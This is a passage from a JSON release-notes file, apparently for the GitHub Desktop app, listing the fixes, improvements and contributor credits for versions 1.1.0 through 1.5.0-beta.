status only blocks other operations when absolutely necessary - #5952", "[Improved] Display current branch in header of merge dialog - #6027", "[Improved] Sanitize repository name before publishing to GitHub - #3090. Thanks @Daniel-McCarthy!", "[Improved] Show the branch name in \"Update From Default Branch\" menu item - #3018. Thanks @a-golovanov!", "[Improved] Update license and .gitignore templates for initializing a new repository - #6024. Thanks @say25!" ], "1.5.0-beta5": [], "1.5.0-beta4": [ "[Fixed] \"Compare on GitHub\" menu item enabled when no repository is selected - #6078", "[Fixed] Diff viewer blocks keyboard navigation using reverse tab order - #2794", "[Improved] \"Publish Repository\" dialog handles emoji characters - #5980. Thanks @WaleedAshraf!" ], "1.5.0-beta3": [], "1.5.0-beta2": [ "[Added] Resolve merge conflicts through a guided flow - #5400", "[Added] Notify users when a merge is successfully completed - #5851", "[Added] Allow merging branches directly from branch dropdown - #5929. Thanks @bruncun!", "[Improved] Merge dialog displays current branch in header - #6027", "[Improved] Clarify the direction of merging branches - #5930. Thanks @JQuinnie!", "[Improved] Show the branch name in \"Update From Default Branch\" menu item - #3018. Thanks @a-golovanov!", "[Improved] Default commit summary more explanatory and consistent with GitHub.com - #6017. Thanks @Daniel-McCarthy!", "[Improved] Updated license and .gitignore templates for initializing a new repository - #6024. Thanks @say25!" ], "1.5.0-beta1": [ "[New] Repository switcher has a convenient \"Add\" button to add other repositories - #5878", "[New] macOS tray icon now supports drag-and-drop to add local repositories - #5048", "[Added] Keyboard shortcut for \"Rename Branch\" menu item - #5964. Thanks @agisilaos!", "[Added] Commit file list now has \"Copy File Path\" context menu action - #2944. Thanks @Amabel!", "[Fixed] Launching Desktop from browser always asks to clone repository - #5913", "[Fixed] Publish dialog displayed on push when repository is already published - #5936", "[Improved] Sanitize repository name before publishing to GitHub - #3090. Thanks @Daniel-McCarthy!", "[Improved] Getting a repository's status only blocks other operations when absolutely necessary - #5952", "[Improved] Avoid repository checks when no path is specified in \"Create Repository\" dialog - #5828. Thanks @JakeHL!", "[Improved] Display a more informative message on merge dialog when branch is up to date - #5890" ], "1.4.4-beta0": [], "1.4.3": [ "[Added] Add \"Remove Repository\" keyboard shortcut - #5848. Thanks @say25!", "[Added] Add keyboard shortcut to delete a branch - #5018. Thanks @JakeHL!", "[Fixed] Emoji autocomplete not rendering in some situations - #5859", "[Fixed] Release notes text overflowing dialog box - #5854. Thanks @amarsiingh!", "[Improved] Support Python 3 in Desktop CLI on macOS - #5843. Thanks @munir131!", "[Improved] Avoid unnecessarily reloading commit history - #5470", "[Improved] Publish Branch dialog will publish commits when pressing Enter - #5777. Thanks @JKirkYuan!" ], "1.4.3-beta2": [ "[Added] Added keyboard shortcut to delete a branch - #5018. Thanks @JakeHL!", "[Fixed] Fix release notes text overflowing dialog box - #5854. Thanks @amarsiingh!", "[Improved] Avoid unnecessarily reloading commit history - #5470" ], "1.4.3-beta1": [ "[Added] Add \"Remove Repository\" keyboard shortcut - #5848. Thanks @say25!", "[Fixed] Fix emoji autocomplete not rendering in some situations - #5859", "[Fixed] Support Python 3 in Desktop CLI on macOS - #5843. Thanks @munir131!", "[Improved] Publish Branch dialog will publish commits when pressing Enter - #5777. Thanks @JKirkYuan!" ], "1.4.3-beta0": [], "1.4.2": [ "[New] Show resolved conflicts as resolved in Changes pane - #5609", "[Added] Add Terminator, MATE Terminal, and Terminology shells - #5753. Thanks @joaomlneto!", "[Fixed] Update embedded Git to version 2.19.1 for security vulnerability fix", "[Fixed] Always show commit history list when History tab is clicked - #5783. Thanks @JKirkYuan!", "[Fixed] Stop overriding the protocol of a detected GitHub repository - #5721", "[Fixed] Update sign in error message - #5766. Thanks @tiagodenoronha!", "[Fixed] Correct overflowing T&C and License Notices dialogs - #5756. Thanks @amarsiingh!", "[Improved] Add default commit message for single-file commits - #5240. Thanks @lean257!", "[Improved] Refresh commit list faster after reverting commit via UI - #5752", "[Improved] Add repository path to Remove repository dialog - #5805. Thanks @NickCraver!", "[Improved] Display whether user entered incorrect username or email address - #5775. Thanks @tiagodenoronha!", "[Improved] Update Discard Changes dialog text when discarding all changes - #5744. Thanks @Daniel-McCarthy!" ], "1.4.2-beta0": [], "1.4.1-test2": [ "Testing changes to how Desktop performs CI platform checks" ], "1.4.1-test1": [ "Testing changes to how Desktop performs CI platform checks" ], "1.4.1": [ "[Added] Support for opening repository in Cygwin terminal - #5654. Thanks @LordOfTheThunder!", "[Fixed] 'Compare to Branch' menu item not disabled when modal is open - #5673. Thanks @kanishk98!", "[Fixed] Co-author form does not show/hide for newly-added repository - #5490", "[Fixed] Desktop command line always suffixes `.git` to URL when starting a clone - #5529. Thanks @j-f1!", "[Fixed] Dialog styling issue for dark theme users on Windows - #5629. Thanks @cwongmath!", "[Fixed] No message shown when filter returns no results in Clone Repository view - #5637. Thanks @DanielHix!", "[Improved] Branch names cannot start with a '+' character - #5594. Thanks @Daniel-McCarthy!", "[Improved] Clone dialog re-runs filesystem check when re-focusing on Desktop - #5518. Thanks @Daniel-McCarthy!", "[Improved] Commit disabled when commit summary is only spaces - #5677. Thanks @Daniel-McCarthy!", "[Improved] Commit summary expander sometimes shown when not needed - #5700. Thanks @aryyya!", "[Improved] Error handling when looking for merge base of a missing ref - #5612", "[Improved] Warning if branch exists on remote when creating branch - #5141. Thanks @Daniel-McCarthy!" ], "1.4.1-beta1": [ "[Added] Support for opening repository in Cygwin terminal - #5654. Thanks @LordOfTheThunder!", "[Fixed] 'Compare to Branch' menu item not disabled when modal is open - #5673. Thanks @kanishk98!", "[Fixed] No message shown when filter returns no results in Clone Repository view - #5637. Thanks @DanielHix!", "[Fixed] Co-author form does not show/hide for newly-added repository - #5490", "[Fixed] Dialog styling issue for dark theme users on Windows - #5629. Thanks @cwongmath!", "[Fixed] Desktop command line always suffixes `.git` to URL when starting a clone - #5529. Thanks @j-f1!", "[Improved] Commit summary expander sometimes shown when not needed - #5700. Thanks @aryyya!", "[Improved] Commit disabled when commit summary is only spaces - #5677. Thanks @Daniel-McCarthy!", "[Improved] Error handling when looking for merge base of a missing ref - #5612", "[Improved] Clone dialog re-runs filesystem check when re-focusing on Desktop - #5518. Thanks @Daniel-McCarthy!", "[Improved] Branch names cannot start with a '+' character - #5594. Thanks @Daniel-McCarthy!", "[Improved] Warning if branch exists on remote when creating branch - #5141. Thanks @Daniel-McCarthy!" ], "1.4.1-beta0": [], "1.4.0": [ "[New] When an update is available for GitHub Desktop, release notes can be viewed in Desktop - #2774", "[New] Detect merge conflicts when comparing branches - #4588", "[Fixed] Avoid double checkout warning when opening a pull request in Desktop - #5375", "[Fixed] Error when publishing repository is now associated with the right tab - #5422. Thanks @Daniel-McCarthy!", "[Fixed] Disable affected menu items when on detached HEAD - #5500. Thanks @say25!", "[Fixed] Show border when commit description is expanded - #5506. Thanks @aryyya!", "[Fixed] GitLab URL which corresponds to GitHub repository of same name cloned GitHub repository - #4154", "[Fixed] Caret in co-author selector is hidden when dark theme enabled - #5589", "[Fixed] Authenticating to GitHub Enterprise fails when user has no emails defined - #5585", "[Improved] Avoid multiple lookups of default remote - #5399" ], "1.4.0-beta3": [ "[New] When an update is available for GitHub Desktop, the release notes can be viewed in Desktop - #2774", "[New] Detect merge conflicts when comparing branches - #4588", "[Fixed] Avoid double checkout warning when opening a pull request in Desktop - #5375", "[Fixed] Error when publishing repository is now associated with the right tab - #5422. Thanks @Daniel-McCarthy!", "[Fixed] Disable affected menu items when on detached HEAD - #5500. Thanks @say25!", "[Fixed] Show border when commit description is expanded - #5506. Thanks @aryyya!", "[Fixed] GitLab URL which corresponds to GitHub repository of same name cloned GitHub repository - #4154", "[Improved] Avoid multiple lookups of default remote - #5399", "[Improved] Skip optional locks when checking status of repository - #5376" ], "1.4.0-beta2": [ "[New] When an update is available for GitHub Desktop, the release notes can be viewed in Desktop - #2774", "[New] Detect merge conflicts when comparing branches - #4588", "[Fixed] Avoid double checkout warning when opening a pull request in Desktop - #5375", "[Fixed] Error when publishing repository is now associated with the right tab - #5422. Thanks @Daniel-McCarthy!", "[Fixed] Disable affected menu items when on detached HEAD - #5500. Thanks @say25!", "[Fixed] Show border when commit description is expanded - #5506. Thanks @aryyya!", "[Fixed] GitLab URL which corresponds to GitHub repository of same name cloned GitHub repository - #4154", "[Improved] Avoid multiple lookups of default remote - #5399", "[Improved] Skip optional locks when checking status of repository - #5376" ], "1.4.0-beta1": [ "[New] When an update is available for GitHub Desktop, the release notes can be viewed in Desktop - #2774", "[New] Detect merge conflicts when comparing branches - #4588", "[Fixed] Avoid double checkout warning when opening a pull request in Desktop - #5375", "[Fixed] Error when publishing repository is now associated with the right tab - #5422. Thanks @Daniel-McCarthy!", "[Fixed] Disable affected menu items when on detached HEAD - #5500. Thanks @say25!", "[Fixed] Show border when commit description is expanded - #5506. Thanks @aryyya!", "[Fixed] GitLab URL which corresponds to GitHub repository of same name cloned GitHub repository - #4154", "[Improved] Avoid multiple lookups of default remote - #5399", "[Improved] Skip optional locks when checking status of repository - #5376" ], "1.4.0-beta0": [], "1.3.5": [ "[Fixed] Disable delete button while deleting a branch - #5331", "[Fixed] History now avoids calling log.showSignature if set in config - #5466", "[Fixed] Start blocking the ability to add local bare repositories - #4293. Thanks @Daniel-McCarthy!", "[Fixed] Revert workaround for tooltip issue on Windows - #3362. Thanks @divayprakash!", "[Improved] Error message when publishing to missing organisation - #5380. Thanks @Daniel-McCarthy!", "[Improved] Don't hide commit details when commit description is expanded. - #5471. Thanks @aryyya!" ], "1.3.5-beta1": [ "[Fixed] Disable delete button while deleting a branch - #5331", "[Fixed] History now avoids calling log.showSignature if set in config - #5466", "[Fixed] Start blocking the ability to add local bare repositories - #4293. Thanks @Daniel-McCarthy!", "[Fixed] Revert workaround for tooltip issue on Windows - #3362. Thanks @divayprakash!", "[Improved] Error message when publishing to missing organisation - #5380. Thanks @Daniel-McCarthy!", "[Improved] Don't hide commit details when commit summary description is expanded. - #5471. Thanks @aryyya!" ], "1.3.5-beta0": [], "1.3.4": [ "[Improved] Cloning message uses remote repo name not file destination - #5413. Thanks @lisavogtsf!", "[Improved] Support VSCode user scope installation - #5281. Thanks @saschanaz!" ], "1.3.4-beta1": [ "[Improved] Cloning message uses remote repo name not file destination - #5413. Thanks @lisavogtsf!", "[Improved] Support VSCode user scope installation - #5281. Thanks @saschanaz!" ], "1.3.4-beta0": [], "1.3.3": [ "[Fixed] Maximize and restore app on Windows does not fill available space - #5033", "[Fixed] 'Clone repository' menu item label is obscured on Windows - #5348. Thanks @Daniel-McCarthy!", "[Fixed] User can toggle files when commit is in progress - #5341. Thanks @masungwon!", "[Improved] Repository indicator background work - #5317 #5326 #5363 #5241 #5320" ], "1.3.3-beta1": [ "[Fixed] Maximize and restore app on Windows does not fill available space - #5033", "[Fixed] 'Clone repository' menu item label is obscured on Windows - #5348. Thanks @Daniel-McCarthy!", "[Fixed] User can toggle files when commit is in progress - #5341. Thanks @masungwon!", "[Improved] Repository indicator background work - #5317 #5326 #5363 #5241 #5320" ], "1.3.3-test6": ["Testing infrastructure changes"], "1.3.3-test5": ["Testing the new CircleCI config changes"], "1.3.3-test4": ["Testing the new CircleCI config changes"], "1.3.3-test3": ["Testing the new CircleCI config changes"], "1.3.3-test2": ["Testing the new CircleCI config changes"], "1.3.3-test1": ["Testing the new CircleCI config changes"], "1.3.2": [ "[Fixed] Bugfix for background checks not being aware of missing repositories - #5282", "[Fixed] Check the local state of a repository before performing Git operations - #5289", "[Fixed] Switch to history view for default branch when deleting current branch during a compare - #5256", "[Fixed] Handle missing .git directory inside a tracked repository - #5291" ], "1.3.2-beta1": [ "[Fixed] Bugfix for background checks not being aware of missing repositories - #5282", "[Fixed] Check the local state of a repository before performing Git operations - #5289", "[Fixed] Switch to history view for default branch when deleting current branch during a compare - #5256", "[Fixed] Handle missing .git directory inside a tracked repository - #5291" ], "1.3.1": [ "[Fixed] Background Git operations on missing repositories are not handled as expected - #5282" ], "1.3.1-beta1": [ "[Fixed] Background Git operations on missing repositories are not handled as expected - #5282" ], "1.3.1-beta0": [ "[New] Notification displayed in History tab when the base branch moves ahead of the current branch - #4768", "[New] Repository list displays uncommitted changes indicator and ahead/behind information - #2259 #5095", "[Added] Option to move repository to trash when removing from app - #2108. Thanks @say25!", "[Added] Syntax highlighting for PowerShell files - #5081. Thanks @say25!", "[Fixed] \"Discard Changes\" context menu discards correct file when entry is not part of selected group - #4788", "[Fixed] Display local path of selected repository as tooltip - #4922. Thanks @yongdamsh!", "[Fixed] Display root directory name when repository is located at drive root - #4924", "[Fixed] Handle legacy macOS right click gesture - #4942", "[Fixed] History omits latest commit from list - #5243", "[Fixed] Markdown header elements hard to read in dark mode - #5133. Thanks @agisilaos!", "[Fixed] Only perform ahead/behind comparisons when branch selector is open - #5142", "[Fixed] Relax checks for merge commits for GitHub Enterprise repositories - #4329", "[Fixed] Render clickable link in \"squash and merge\" commit message - #5203. Thanks @1pete!", "[Fixed] Return key disabled when no matches found in Compare branch list - #4458", "[Fixed] Selected commit not remembered when switching between History and Changes tabs - #4985", "[Fixed] Selected commit when comparing is reset to latest when Desktop regains focus - #5069", "[Fixed] Support default branch detection for non-GitHub repositories - #4937", "[Improved] Change primary button color to blue for dark theme - #5074", "[Improved] Diff gutter elements should be considered button elements when interacting - #5158", "[Improved] Status parsing significantly more performant when handling thousands of changed files - #2449 #5186" ], "1.3.0": [ "[New] Notification displayed in History tab when the base branch moves ahead of the current branch - #4768", "[New] Repository list displays uncommitted changes indicator and ahead/behind information - #2259 #5095", "[Added] Option to move repository to trash when removing from app - #2108. Thanks @say25!", "[Added] Syntax highlighting for PowerShell files - #5081. Thanks @say25!", "[Fixed] \"Discard Changes\" context menu discards correct file when entry is not part of selected group - #4788", "[Fixed] Display local path of selected repository as tooltip - #4922. Thanks @yongdamsh!", "[Fixed] Display root directory name when repository is located at drive root - #4924", "[Fixed] Handle legacy macOS right click gesture - #4942", "[Fixed] History omits latest commit from list - #5243", "[Fixed] Markdown header elements hard to read in dark mode - #5133. Thanks @agisilaos!", "[Fixed] Only perform ahead/behind comparisons when branch selector is open - #5142", "[Fixed] Relax checks for merge commits for GitHub Enterprise repositories - #4329", "[Fixed] Render clickable link in \"squash and merge\" commit message - #5203. Thanks @1pete!", "[Fixed] Return key disabled when no matches found in Compare branch list - #4458", "[Fixed] Selected commit not remembered when switching between History and Changes tabs - #4985", "[Fixed] Selected commit when comparing is reset to latest when Desktop regains focus - #5069", "[Fixed] Support default branch detection for non-GitHub repositories - #4937", "[Improved] Change primary button color to blue for dark theme - #5074", "[Improved] Diff gutter elements should be considered button elements when interacting - #5158", "[Improved] Status parsing significantly more performant when handling thousands of changed files - #2449 #5186" ], "1.3.0-beta7": [], "1.3.0-beta6": [], "1.3.0-beta5": [ "[Fixed] Ensure commit message is cleared after successful commit - #4046", "[Fixed] History omits latest commit from list - #5243" ], "1.3.0-beta4": [ "[Fixed] Only perform ahead/behind comparisons when branch selector is open - #5142", "[Fixed] Render clickable link in \"squash and merge\" commit message - #5203. Thanks @1pete!", "[Fixed] Selected commit not remembered when switching between History and Changes tabs - #4985", "[Fixed] Selected commit when comparing is reset to latest when Desktop regains focus - #5069" ], "1.3.0-beta3": [ "[Fixed] \"Discard Changes\" context menu discards correct file when entry is not part of selected group - #4788", "[Fixed] Return key disabled when no matches found in Compare branch list - #4458", "[Improved] Status parsing significantly more performant when handling thousands of changed files - #2449 #5186" ], "1.3.0-beta2": [ "[Added] Option to move repository to trash when removing from app - #2108. Thanks @say25!", "[Fixed] Markdown header elements hard to read in dark mode - #5133. Thanks @agisilaos!", "[Improved] Diff gutter elements should be considered button elements when interacting - #5158" ], "1.2.7-test3": ["Test deployment for electron version bump."], "1.3.0-beta1": [ "[New] Notification displayed in History tab when the base branch moves ahead of the current branch - #4768", "[New] Repository list displays uncommitted changes count and ahead/behind information - #2259", "[Added] Syntax highlighting for PowerShell files- #5081. Thanks @say25!", "[Fixed] Display something when repository is located at drive root - #4924", "[Fixed] Relax checks for merge commits for GitHub Enterprise repositories - #4329", "[Fixed] Display local path of selected repository as tooltip - #4922. Thanks @yongdamsh!", "[Fixed] Support default branch detection for non-GitHub repositories - #4937", "[Fixed] Handle legacy macOS right click gesture - #4942", "[Improved] Repository list badge style tweaks and tweaks for dark theme - #5095", "[Improved] Change primary button color to blue for dark theme - #5074" ], "1.2.7-test2": ["Test deployment for electron version bump."], "1.2.7-test1": ["Sanity check deployment for refactored scripts"], "1.2.7-beta0": [ "[Fixed] Visual indicator for upcoming feature should not be shown - #5026" ], "1.2.6": [ "[Fixed] Visual indicator for upcoming feature should not be shown - #5026" ], "1.2.6-beta0": [ "[Fixed] Feature flag for upcoming feature not applied correctly - #5024" ], "1.2.5": [ "[Fixed] Feature flag for upcoming feature not applied correctly - #5024" ], "1.2.4": [ "[New] Dark Theme preview - #4849", "[Added] Syntax highlighting for Cake files - #4935. Thanks @say25!", "[Added] WebStorm support for macOS - #4841. Thanks @mrsimonfletcher!", "[Fixed] Compare tab appends older commits when scrolling to bottom of list - #4964", "[Fixed] Remove temporary directory after Git LFS operation completes - #4414", "[Fixed] Unable to compare when two branches exist - #4947 #4730", "[Fixed] Unhandled errors when refreshing pull requests fails - #4844 #4866", "[Improved] Remove context menu needs to hint if a dialog will be shown - #4975", "[Improved] Upgrade embedded Git LFS - #4602 #4745", "[Improved] Update banner message clarifies that only Desktop needs to be restarted - #4891. Thanks @KennethSweezy!", "[Improved] Discard Changes context menu entry should contain ellipses when user needs to confirm - #4846. Thanks @yongdamsh!", "[Improved] Initializing syntax highlighting components - #4764", "[Improved] Only show overflow shadow when description overflows - #4898", "[Improved] Changes tab displays number of changed files instead of dot - #4772. Thanks @yongdamsh!" ], "1.2.4-beta5": [], "1.2.4-beta4": [ "[Fixed] Compare tab appends older commits when scrolling to bottom of list - #4964", "[Fixed] Remove temporary directory after Git LFS operation completes - #4414", "[Improved] Remove context menu needs to hint if a dialog will be shown - #4975", "[Improved] Upgrade embedded Git LFS - #4602 #4745" ], "1.2.4-test1": [ "Confirming latest Git LFS version addresses reported issues" ], "1.2.4-beta3": [ "[Added] WebStorm support for macOS - #4841. Thanks @mrsimonfletcher!", "[Improved] Update banner message clarifies that only Desktop needs to be restarted - #4891. Thanks @KennethSweezy!" ], "1.2.4-beta2": [], "1.2.4-beta1": [ "[New] Dark Theme preview - #4849", "[Added] Syntax highlighting for Cake files - #4935. Thanks @say25!", "[Fixed] Unable to compare when two branches exist - #4947 #4730", "[Fixed] Unhandled errors when refreshing pull requests fails - #4844 #4866", "[Improved] Discard Changes context menu entry should contain ellipses when user needs to confirm - #4846. Thanks @yongdamsh!", "[Improved] Initializing syntax highlighting components - #4764", "[Improved] Only show overflow shadow when description overflows - #4898", "[Improved] Changes tab displays number of changed files instead of dot - #4772. Thanks @yongdamsh!" ], "1.2.3": [ "[Fixed] No autocomplete when searching for co-authors - #4847", "[Fixed] Error when checking out a PR from a fork - #4842" ], "1.2.3-beta1": [ "[Fixed] No autocomplete when searching for co-authors - #4847", "[Fixed] Error when checking out a PR from a fork - #4842" ], "1.2.3-test1": [ "Confirming switch from uglify-es to babel-minify addresses minification issue - #4871" ], "1.2.2": [ "[Fixed] Make cURL/schannel default to using the Windows certificate store - #4817", "[Fixed] Restore text selection highlighting in diffs - #4818" ], "1.2.2-beta1": [ "[Fixed] Make cURL/schannel default to using the Windows certificate store - #4817", "[Fixed] Text selection highlighting in diffs is back - #4818" ], "1.2.1": [ "[Added] Brackets support for macOS - #4608. Thanks @3raxton!", "[Added] Pull request number and author are included in fuzzy-find filtering - #4653. Thanks @damaneice!", "[Fixed] Decreased the max line length limit - #3740. Thanks @sagaragarwal94!", "[Fixed] Updated embedded Git to 2.17.1 to address upstream security issue - #4791", "[Improved] Display the difference in file size of an image in the diff view - #4380. Thanks @ggajos!" ], "1.2.1-test1": ["Upgraded embedded Git to 2.17.0"], "1.2.1-beta1": [ "[Added] Brackets support for macOS - #4608. Thanks @3raxton!", "[Added] Pull request number and author are included in fuzzy-find filtering - #4653. Thanks @damaneice!", "[Fixed] Decreased the max line length limit - #3740. Thanks @sagaragarwal94!", "[Fixed] Updated embedded Git to 2.17.1 to address upstream security issue - #4791", "[Improved] Display the difference in file size of an image in the diff view - #4380. Thanks @ggajos!" ], "1.2.1-beta0": [], "1.1.2-test6": ["Testing the Webpack v4 output from the project"], "1.2.0": [ "[New] History now has ability to compare to another branch and merge outstanding commits", "[New] Support for selecting more than one file in the changes list - #1712. Thanks @icosamuel!", "[New] Render bitmap images in diffs - #4367. Thanks @MagicMarvMan!", "[Added] Add PowerShell Core support for Windows and macOS - #3791. Thanks @saschanaz!", "[Added] Add MacVim support for macOS - #4532. Thanks @johnelliott!", "[Added] Syntax highlighting for JavaServer Pages (JSP) - #4470. Thanks @damaneice!", "[Added] Syntax highlighting for Haxe files - #4445. Thanks @Gama11!", "[Added] Syntax highlighting for R files - #4455. Thanks @say25!", "[Fixed] 'Open in Shell' on Linux ensures Git is on PATH - #4619. Thanks @ziggy42!", "[Fixed] Pressing 'Enter' on filtered Pull Request does not checkout - #4673", "[Fixed] Alert icon shrinks in rename dialog when branch name is long - #4566", "[Fixed] 'Open in Desktop' performs fetch to ensure branch exists before checkout - #3006", "[Fixed] 'Open in Default Program' on Windows changes the window title - #4446", "[Fixed] Skip fast-forwarding when there are many eligible local branches - #4392", "[Fixed] Image diffs not working for files with upper-case file extension - #4466", "[Fixed] Syntax highlighting not working for files with upper-case file extension - #4462. Thanks @say25!", "[Fixed] Error when creating Git LFS progress causes clone to fail - #4307. Thanks @MagicMarvMan!", "[Fixed] 'Open File in External Editor' always opens a new instance - #4381", "[Fixed] 'Select All' shortcut now works for changes list - #3821", "[Improved] Automatically add valid repository when using command line interface - #4513. Thanks @ggajos!", "[Improved] Always fast-forward the default branch - #4506", "[Improved] Warn when trying to rename a published branch - #4035. Thanks @agisilaos!", "[Improved] Added context menu for files in commit history - #2845. Thanks @crea7or", "[Improved] Discarding all changes always prompts for confirmation - #4459", "[Improved] Getting list of changed files is now more efficient when dealing with thousands of files - #4443", "[Improved] Checking out a Pull Request may skip unnecessary fetch - #4068. Thanks @agisilaos!", "[Improved] Commit summary now has a hint to indicate why committing is disabled - #4429.", "[Improved] Pull request status text now matches format on GitHub - #3521", "[Improved] Add escape hatch to disable hardware acceleration when launching - #3921" ], "1.1.2-beta7": [], "1.1.2-beta6": [ "[Added] Add MacVim support for macOS - #4532. Thanks @johnelliott!", "[Fixed] Open in Shell on Linux ensures Git is available on the user's PATH - #4619. Thanks @ziggy42!", "[Fixed] Keyboard focus issues when navigating Pull Request list - #4673", "[Improved] Automatically add valid repository when using command line interface - #4513. Thanks @ggajos!" ], "1.1.2-test5": ["Actually upgrading fs-extra to v6 in the app"], "1.1.2-test4": ["Upgrading fs-extra to v6"], "1.1.2-beta5": [ "[Added] Syntax highlighting for JavaServer Pages (JSP) - #4470. Thanks @damaneice!", "[Fixed] Prevent icon from shrinking in rename dialog - #4566" ], "1.1.2-beta4": [ "[New] New Compare tab allowing visualization of the relationship between branches", "[New] Support for selecting more than one file in the changes list - #1712. Thanks @icosamuel!", "[Fixed] 'Select All' shortcut now works for changes list - #3821", "[Improved] Always fast-forward the default branch - #4506", "[Improved] Warn when trying to rename a published branch - #4035. Thanks @agisilaos!", "[Improved] Added context menu for files in commit history - #2845. Thanks @crea7or", "[Improved] Discarding all changes always prompts for confirmation - #4459" ], "1.1.2-beta3": [ "[Added] Syntax highlighting for Haxe files - #4445. Thanks @Gama11!", "[Added] Syntax highlighting for R files - #4455. Thanks @say25!", "[Fixed] Fetch to ensure \"Open in Desktop\" has a branch to checkout - #3006", "[Fixed] Handle the click event when opening a binary file - #4446", "[Fixed] Skip fast-forwarding when there are a lot of eligible local branches - #4392", "[Fixed] Image diffs not working for files with upper-case file extension - #4466", "[Fixed] Syntax highlighting not working for files with upper-case file extension - #4462. Thanks @say25!", "[Improved] Getting list of changed files is now more efficient when dealing with thousands of files - #4443", "[Improved] Checking out a Pull Request may skip unnecessary fetch - #4068. Thanks @agisilaos!", "[Improved] Commit summary now has a hint to indicate why committing is disabled - #4429." ], "1.1.2-test3": ["[New] Comparison Branch demo build"], "1.1.2-test2": [ "Refactoring the diff internals to potentially land some SVG improvements" ], "1.1.2-test1": [ "Refactoring the diff internals to potentially land some SVG improvements" ], "1.1.2-beta2": [ "[New] Render bitmap images in diffs - #4367. Thanks @MagicMarvMan!", "[New] Add PowerShell Core support for Windows and macOS - #3791. Thanks @saschanaz!", "[Fixed] Error when creating Git LFS progress causes clone to fail - #4307. Thanks @MagicMarvMan!", "[Fixed] 'Open File in External Editor' does not use existing window - #4381", "[Fixed] Always ask for confirmation when discarding all changes - #4423", "[Improved] Pull request status text now matches format on GitHub - #3521", "[Improved] Add escape hatch to disable hardware acceleration when launching - #3921" ], "1.1.2-beta1": [], "1.1.1": [ "[New] Render WebP images in diffs - #4164. Thanks @agisilaos!", "[Fixed] Edit context menus in commit form input elements - #3886", "[Fixed] Escape behavior for Pull Request list does not match Branch List - #3597", "[Fixed] Keep caret position after inserting completion for emoji/mention - #3835. Thanks @CarlRosell!", "[Fixed] Handle error events when watching files used to get Git LFS output - #4117", "[Fixed] Potential race condition when opening a fork pull request - #4149", "[Fixed] Show placeholder image when no pull requests found - #3973", "[Fixed] Disable commit summary and description inputs while commit in progress - #3893. Thanks @crea7or!", "[Fixed] Ensure pull request cache is cleared after last pull request merged - #4122", "[Fixed] Focus two-factor authentication dialog on input - #4220. Thanks @WaleedAshraf!", "[Fixed] Branches button no longer disabled while on an unborn branch - #4236. Thanks @agisilaos!", "[Fixed] Delete gitignore file when all entries cleared in Repository Settings - #1896", "[Fixed] Add visual indicator that a folder can be dropped on Desktop - #4004. Thanks @agisilaos!", "[Fixed] Attempt to focus the application window on macOS after signing in via the browser - #4126", "[Fixed] Refresh issues when user manually fetches - #4076", "[Improved] Add `Discard All Changes...` to context menu on changed file list - #4197. Thanks @xamm!", "[Improved] Improve contrast for button labels in app toolbar - #4219", "[Improved] Speed up check for submodules when discarding - #4186. Thanks @kmscode!", "[Improved] Make the keychain known issue more clear within Desktop - #4125", "[Improved] Continue past the 'diff too large' message and view the diff - #4050", "[Improved] Repository association might not have expected prefix - #4090. Thanks @mathieudutour!", "[Improved] Add message to gitignore dialog when not on default branch - #3720", "[Improved] Hide Desktop-specific forks in Branch List - #4127", "[Improved] Disregard accidental whitespace when cloning a repository by URL - #4216", "[Improved] Show alert icon in repository list when repository not found on disk - #4254. Thanks @gingerbeardman!", "[Improved] Repository list now closes after removing last repository - #4269. Thanks @agisilaos!", "[Improved] Move forget password link after the password dialog to match expected tab order - #4283. Thanks @iamnapo!", "[Improved] More descriptive text in repository toolbar button when no repositories are tracked - #4268. Thanks @agisilaos!", "[Improved] Context menu in Changes tab now supports opening file in your preferred editor - #4030" ], "1.1.1-beta4": [ "[Improved] Context menu in Changes tab now supports opening file in your preferred editor - #4030" ], "1.1.1-beta3": [], "1.1.1-beta2": [ "[New] Render WebP images in diffs - #4164. Thanks @agisilaos!", "[Fixed] Edit context menus in commit form input elements - #3886", "[Fixed] Escape behavior should match that of Branch List - #3972", "[Fixed] Keep caret position after inserting completion - #3835. Thanks @CarlRosell!", "[Fixed] Handle error events when watching files used to get Git LFS output - #4117", "[Fixed] Potential race condition when opening a fork pull request - #4149", "[Fixed] Show placeholder image when no pull requests found - #3973", "[Fixed] Disable input fields summary and description while commit in progress - #3893. Thanks @crea7or!", "[Fixed] Ensure pull request cache is cleared after last pull request merged - #4122", "[Fixed] Focus two-factor authentication dialog on input - #4220. Thanks @WaleedAshraf!", "[Fixed] Branches button no longer disabled while on an unborn branch - #4236. Thanks @agisilaos!", "[Fixed] Delete gitignore file when entries cleared in Repository Settings - #1896", "[Fixed] Add visual indicator that a folder can be dropped on Desktop - #4004. Thanks @agisilaos!", "[Improved] Add `Discard All Changes...` to context menu on changed file list - #4197. Thanks @xamm!", "[Improved] Improve contrast for button labels in app toolbar - #4219", "[Improved] Speed up check for submodules when discarding - #4186. Thanks @kmscode!", "[Improved] Make the keychain known issue more clear within Desktop - #4125", "[Improved] Continue past the 'diff too large' message and view the diff - #4050", "[Improved] Repository association might not have expected prefix - #4090. Thanks @mathieudutour!", "[Improved] Add message to gitignore dialog when not on default branch - #3720", "[Improved] Hide Desktop-specific forks in Branch List - #4127", "[Improved] Disregard accidental whitespace when cloning a repository by URL - #4216", "[Improved] Show alert icon in repository list when repository not found on disk - #4254. Thanks @gingerbeardman!", "[Improved] Repository list now closes after removing last repository - #4269. Thanks @agisilaos!", "[Improved] Move forget password link to after the password dialog to maintain expected tab order - #4283. Thanks @iamnapo!", "[Improved] More descriptive text in repository toolbar button when no repositories are tracked - #4268. Thanks @agisilaos!" ], "1.1.1-test2": ["[Improved] Electron 1.8.3 upgrade (again)"], "1.1.1-test1": [ "[Improved] Forcing a focus on the window after the OAuth dance is done" ], "1.1.1-beta1": [], "1.1.0": [ "[New] Check out pull requests from collaborators or forks from within Desktop", "[New] View the commit status of the branch when it has an open pull request", "[Added] Add RubyMine support for macOS - #3883. Thanks @gssbzn!", "[Added] Add TextMate support for macOS - #3910. Thanks @caiofbpa!", "[Added] Syntax highlighting for Elixir files - #3774. Thanks @joaovitoras!", "[Fixed] Update layout of branch blankslate image - #4011", "[Fixed] Expanded avatar stack in commit summary gets cut off - #3884", "[Fixed] Clear repository filter when switching tabs - #3787. Thanks @reyronald!", "[Fixed] Avoid crash when unable to launch shell - #3954", "[Fixed] Ensure renames are detected when viewing commit diffs - #3673", "[Fixed] Fetch default remote if it differs from the current - #4056", "[Fixed] Handle Git errors when .gitmodules are malformed - #3912", "[Fixed] Handle error when \"where\" is not on PATH - #3882 #3825", "[Fixed] Ignore action assumes CRLF when 